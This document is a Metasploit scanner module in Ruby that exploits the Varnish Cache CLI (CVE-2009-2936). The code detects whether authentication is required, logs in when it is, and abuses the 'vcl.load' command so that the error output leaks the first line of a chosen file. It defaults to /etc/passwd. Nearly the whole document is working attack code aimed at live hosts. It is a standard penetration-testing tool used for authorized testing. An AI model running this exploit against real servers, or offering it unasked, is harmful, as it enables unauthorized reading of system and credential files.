This Metasploit module attempts to read the first line of a file by abusing the error message when compiling a file with vcl.load.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/varnish/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Metasploit::Framework::Varnish::Client
def initialize
super(
'Name' => 'Varnish Cache CLI File Read',
'Description' => 'This module attempts to read the first line of a file by abusing the error message when
compiling a file with vcl.load.',
'References' =>
[
[ 'OSVDB', '67670' ],
[ 'CVE', '2009-2936' ],
[ 'EDB', '35581' ],
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
],
'Author' =>
[
'patrick', #original module
'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 6082
}
)
register_options(
[
OptString.new('PASSWORD', [ false, 'Password for CLI. No auth will be automatically detected', '' ]),
OptString.new('FILE', [ false, 'File to read the first line of', '/etc/passwd' ])
])
end
def run_host(ip)
# first check if we even need auth
begin
connect
challenge = require_auth?
close_session
disconnect
connect
if !challenge
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
else
if not login(datastore['PASSWORD'])
vprint_error "#{ip}:#{rport} - Unable to Login"
return
end
end
# abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message
sock.get_once
sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
result = sock.get_once
if result && result =~ /Line \d Pos \d+\)\n(.*)/
vprint_good($1)
else
vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
end
close_session
disconnect
rescue Rex::ConnectionError, EOFError, Timeout::Error
print_error "#{ip}:#{rport} - Unable to connect"
end
end
end